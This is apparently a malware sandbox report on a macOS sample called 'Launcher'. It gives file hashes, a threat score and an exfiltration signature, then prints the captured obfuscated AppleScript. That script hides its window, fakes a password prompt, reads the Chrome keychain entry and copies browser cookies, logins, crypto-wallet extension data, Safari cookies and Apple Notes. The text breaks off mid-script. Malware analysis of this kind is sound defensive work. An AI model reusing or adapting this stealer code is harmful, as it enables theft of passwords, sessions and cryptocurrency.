fb6c9a88868e86f25f55ebe9c21670c7c588306a0d3d899690f4bf5a97cb596e

General

Target
Launcher/Launcher
Size 179KB
Sample251104-ssb6psdm51
SHA256 a0ca420d421c3efb6e079a013d766ce28c41865912231ee51ad2c9a208a85751
MD5 3943797e6b92a0f57ab7cc27fb6522da
SHA1 38327dcea00a47a03f3fbb5ae26e6ab825e4944b
SHA512 f01dfdb9cc08d8152bcf8ff6f7d064a9bb05213a0bdafc8ff6ad254d7e28b643bb2e492dcfa45beefb4cf5e26267b839a5b655a80fb88ef36932e4f61865c32c
SSDEEP 1536:+BAbrj2MKUSkRaEvFABuVrIH8Qp5EpItvqXK8yX7rj2MKUSkRaEvFABuVrIH8Qpm:+ubrlKRnBuaHS4qXgrlKRnBuaHS4qX
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Exfiltration Over Alternative Protocol 1 TTPs 2 IoCs

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

exfiltration

Exfiltration Over Unencrypted Non-C2 Protocol

T1048.003

ioc	Process
sh -c "osascript -e 'tell application \"terminal\" to set visible of the front window to false run script \"\" & return & \"on f5498098200027630037(p4589535765820734162)\" & return & \"try\" & return & \"set v4660640515867015918 to quoted form of (POSIX path of p4589535765820734162)\" & return & \"do shell script \\\"mkdir -p \\\" & v4660640515867015918\" & return & \"end try\" & return & \"end f5498098200027630037\" & return & \"on f8771517014503093342(p4993898616030614531)\" & return & \"try\" & return & \"set v3622299508332566895 to POSIX file p4993898616030614531\" & return & \"set v3830124729194131128 to read v3622299508332566895\" & return & \"return v3830124729194131128\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f8771517014503093342\" & return & \"on f2579889702040630272(p5191965497441309888)\" & return & \"try\" & return & \"set v5490052038534388146 to (reverse of every character of p5191965497441309888) as string\" & return & \"set v8170262523650959887 to text 1 thru ((offset of \\\"/\\\" in v5490052038534388146) - 1) of v5490052038534388146\" & return & \"set v8478334136396613953 to (reverse of every character of v8170262523650959887) as string\" & return & \"return v8478334136396613953\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f2579889702040630272\" & return & \"on f5587746576506220116(p4289323429601029164)\" & return & \"try\" & return & \"set v4779265971954391041 to offset of \\\"/\\\" in (reverse of every character of p4289323429601029164) as string\" & return & \"set v2534333169410523992 to text 1 thru -(v4779265971954391041 + 1) of p4289323429601029164\" & return & \"return v2534333169410523992\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f5587746576506220116\" & return & \"on f6264705180628981705(p7478832390020446534, p8679437718282592800)\" & return & \"try\" & return & \"set v7791588552321167638 to f5587746576506220116(p8679437718282592800)\" & return & \"f5498098200027630037(v7791588552321167638)\" & return & \"set v6119821030634884911 to (open for access p8679437718282592800 with write permission)\" & return & \"set eof of v6119821030634884911 to 0\" & return & \"write p7478832390020446534 to v6119821030634884911 starting at eof\" & return & \"close access v6119821030634884911\" & return & \"end try\" & return & \"end f6264705180628981705\" & return & \"on f3260842499625414770(p8302229028837966379, p6817047235429405060)\" & return & \"try\" & return & \"set v6928805829853103127 to read p8302229028837966379\" & return & \"set v8038606891662634209 to f5587746576506220116(p6817047235429405060)\" & return & \"f5498098200027630037(v8038606891662634209)\" & return & \"do shell script \\\"cat \\\" & quoted form of p8302229028837966379 & \\\" > \\\" & quoted form of p6817047235429405060\" & return & \"end try\" & return & \"end f3260842499625414770\" & return & \"on f3156936418114084484(p7483103834954789903)\" & return & \"try\" & return & \"set v8582577522004476657 to quoted form of (POSIX path of p7483103834954789903)\" & return & \"set v7222260162427611844 to (do shell script \\\"file -b \\\" & v8582577522004476657)\" & return & \"if v7222260162427611844 ends with \\\"directory\\\" then\" & return & \"return true\" & return & \"end if\" & return & \"end try\" & return & \"return false\" & return & \"end f3156936418114084484\" & return & \"on f8031310448975060865(p6165568718593603775, p3995091535608141842)\" & return & \"try\" & return & \"set v4427033544700151129 to {\\\".DS_Store\\\", \\\"Partitions\\\", \\\"Code Cache\\\", \\\"Cache\\\", \\\"market-history-cache.json\\\", \\\"journals\\\", \\\"Previews\\\", \\\"GPUCache\\\", \\\"DawnCache\\\", \\\"Crashpad\\\", \\\"DawnWebGPUCache\\\", \\\"DawnGraphiteCache\\\", \\\"__update__\\\", \\\"tor\\\"}\" & return & \"set v7135990229297471806 to list folder p6165568718593603775 without invisibles\" & return & \"f5498098200027630037(p3995091535608141842)\" & return & \"repeat with r7069205978427333072 in v7135990229297471806\" & return & \"if r7069205978427333072 is not in v4427033544700151129 then\" & return & \"set v5759125161221505170 to p6165568718593603775 & \\\"/\\\" & r7069205978427333072\" & return & \"set v6648899277418132977 to p3995091535608141842 & \\\"/\\\" & r7069205978427333072\" & return & \"if f3156936418114084484(v5759125161221505170) then\" & return & \"f8031310448975060865(v5759125161221505170, v6648899277418132977)\" & return & \"else\" & return & \"f3260842499625414770(v5759125161221505170, v6648899277418132977)\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8031310448975060865\" & return & \"on f4606271286205922702(p3252597281357569787, p6782276021266464194)\" & return & \"try\" & return & \"set v9062801922064180863 to POSIX file p3252597281357569787\" & return & \"set v2512143368881189483 to read v9062801922064180863\" & return & \"set v7665748634442153027 to offset of p6782276021266464194 in v2512143368881189483\" & return & \"if v7665748634442153027 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v6319362564426722198 to v7665748634442153027 + (length of p6782276021266464194)\" & return & \"set v1662349207260678648 to text v6319362564426722198 thru (v6319362564426722198 + 55) of v2512143368881189483\" & return & \"set v5869120015044447301 to offset of \\\"\\\\\\\\\\\" in v1662349207260678648\" & return & \"if v5869120015044447301 is 0 then\" & return & \"return \\\"not found\\\"\" & return & \"end if\" & return & \"set v1119076493871920663 to text v6319362564426722198 thru (v6319362564426722198 + v5869120015044447301 - 2) of v2512143368881189483\" & return & \"return v1119076493871920663\" & return & \"on error\" & return & \"return \\\"not found\\\"\" & return & \"end try\" & return & \"end f4606271286205922702\" & return & \"on f8098720406337565837(p4135792100352579745, p4399015111798680940)\" & return & \"try\" & return & \"set v3445687237814926359 to {{\\\"MetaMask\\\", \\\"[email protected]\\\\\\\\\\\\\\\":\\\\\\\\\\\\\\\"\\\"}}\" & return & \"repeat with r2710029803435992307 in v3445687237814926359\" & return & \"set v5527760559889148014 to f4606271286205922702(p4135792100352579745 & \\\"/prefs.js\\\", item 2 of r2710029803435992307)\" & return & \"if v5527760559889148014 is not \\\"not found\\\" then\" & return & \"set v7272432386463749454 to p4135792100352579745 & \\\"/storage/default/\\\"\" & return & \"set v2548569600021713815 to list folder v7272432386463749454 without invisibles\" & return & \"repeat with r4503796059574804811 in v2548569600021713815\" & return & \"if (r4503796059574804811 contains v5527760559889148014) and (r4503796059574804811 contains \\\"userContext\\\") then\" & return & \"set v7111736942498542969 to v7272432386463749454 & r4503796059574804811 & \\\"/idb/\\\"\" & return & \"set v2059788629588650947 to list folder v7111736942498542969 without invisibles\" & return & \"repeat with r2240402379985096094 in v2059788629588650947\" & return & \"if f3156936418114084484(v7111736942498542969 & r2240402379985096094) then\" & return & \"f8031310448975060865(v7111736942498542969 & r2240402379985096094, p4399015111798680940 & \\\"/\\\" & item 1 of r2710029803435992307 & \\\"/\\\")\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end f8098720406337565837\" & return & \"on f2536643714453681639(p6491836862543296525, p1104512043356146378, p4719841690245269790)\" & return & \"try\" & return & \"set v8041447865609609921 to {\\\"/cookies.sqlite\\\", \\\"/formhistory.sqlite\\\", \\\"/key4.db\\\", \\\"/logins.json\\\"}\" & return & \"set v5741765454527728264 to list folder p1104512043356146378 without invisibles\" & return & \"repeat with r6569667071032230762 in v5741765454527728264\" & return & \"set v3283859923721329108 to p4719841690245269790 & \\\"gecko/\\\" & p6491836862543296525 & \\\"_\\\" & r6569667071032230762\" & return & \"f8098720406337565837(p1104512043356146378 & r6569667071032230762, v3283859923721329108)\" & return & \"set v4700655626243587894 to p1104512043356146378 & r6569667071032230762\" & return & \"repeat with r7733418144795446467 in v8041447865609609921\" & return & \"f3260842499625414770(v4700655626243587894 & r7733418144795446467, v3283859923721329108 & r7733418144795446467)\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f2536643714453681639\" & return & \"on f5789441686885361081(p7334453719510525956, p1729246370798074576)\" & return & \"try\" & return & \"set v2766682643012023727 to do shell script \\\"dscl . authonly \\\" & quoted form of p7334453719510525956 & space & quoted form of p1729246370798074576\" & return & \"if v2766682643012023727 is not equal to \\\"\\\" then\" & return & \"return false\" & return & \"else\" & return & \"return true\" & return & \"end if\" & return & \"on error\" & return & \"return false\" & return & \"end try\" & return & \"end f5789441686885361081\" & return & \"on f4455047023799241882(p8940679689014766929, p3632011921762080103)\" & return & \"try\" & return & \"if f5789441686885361081(p8940679689014766929, \\\"\\\") then\" & return & \"set v4919179166161086149 to do shell script \\\"security 2>&1 > /dev/null find-generic-password -ga \\\\\\\"Chrome\\\\\\\" \| awk \\\\\\\"{print \$2}\\\\\\\"\\\"\" & return & \"f6264705180628981705(v4919179166161086149 as string, p3632011921762080103 & \\\"masterpass-chrome\\\")\" & return & \"else\" & return & \"repeat\" & return & \"set v4919179166161086149 to display dialog \\\"Required Application Helper. Please enter device password to continue.\\\" default answer \\\"\\\" with icon caution buttons {\\\"Continue\\\"} default button \\\"Continue\\\" giving up after 150 with title \\\"Application wants to install helper\\\" with hidden answer\" & return & \"set v1113402095258927485 to text returned of v4919179166161086149\" & return & \"if f5789441686885361081(p8940679689014766929, v1113402095258927485) then\" & return & \"return v1113402095258927485\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end try\" & return & \"return \\\"\\\"\" & return & \"end f4455047023799241882\" & return & \"on f5580828236190888392(p1723230788839028370, p5378765118834738397, p8092797049054828465, p2444943568190761710)\" & return & \"try\" & return & \"set v4846700367200223038 to list folder p1723230788839028370 without invisibles\" & return & \"repeat with r8306651402256042108 in v4846700367200223038\" & return & \"repeat with r6735850789153243997 in p8092797049054828465\" & return & \"if (r8306651402256042108 contains r6735850789153243997) then\" & return & \"set v5773195421035163669 to p1723230788839028370 & r8306651402256042108\" & return & \"set v1039143461784461798 to p5378765118834738397 & \\\"/\\\" & r6735850789153243997\" & return & \"if p2444943568190761710 then\" & return & \"set v1039143461784461798 to v1039143461784461798 & \\\"/IndexedDB/\\\"\" & return & \"end if\" & return & \"f8031310448975060865(v5773195421035163669, v1039143461784461798)\" & return & \"end if\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"end f5580828236190888392\" & return & \"on f1591517285159242142(p4863990634495586282, p6334719600918497600)\" & return & \"set v4405675767274189443 to {\\\"ldinpeekobnhjjdofggfgjlcehhmanlj\\\", \\\"nphplpgoakhhjchkkhmiggakijnkhfnd\\\", \\\"jbkgjmpfammbgejcpedggoefddacbdia\\\", \\\"fccgmnglbhajioalokbcidhcaikhlcpm\\\", \\\"nebnhfamliijlghikdgcigoebonmoibm\\\", \\\"fdcnegogpncmfejlfnffnofpngdiejii\\\", \\\"mfhbebgoclkghebffdldpobeajmbecfk\\\", \\\"ffbceckpkpbcmgiaehlloocglmijnpmp\\\", \\\"kfdniefadaanbjodldohaedphafoffoh\\\", \\\"bedogdpgdnifilpgeianmmdabklhfkcn\\\", \\\"kpfchfdkjhcoekhdldggegebfakaaiog\\\", \\\"klnaejjgbibmhlephnhpmaofohgkpgkd\\\", \\\"opcgpfmipidbgpenhmajoajpbobppdil\\\", \\\"mmmjbcfofconkannjonfmjjajpllddbg\\\", \\\"modjfdjcodmehnpccdjngmdfajggaoeh\\\", \\\"dkdedlpgdmmkkfjabffeganieamfklkm\\\", \\\"ifclboecfhkjbpmhgehodcjpciihhmif\\\", \\\"ppbibelpcjmhbdihakflkdcoccbgbkpo\\\", \\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType \| awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & 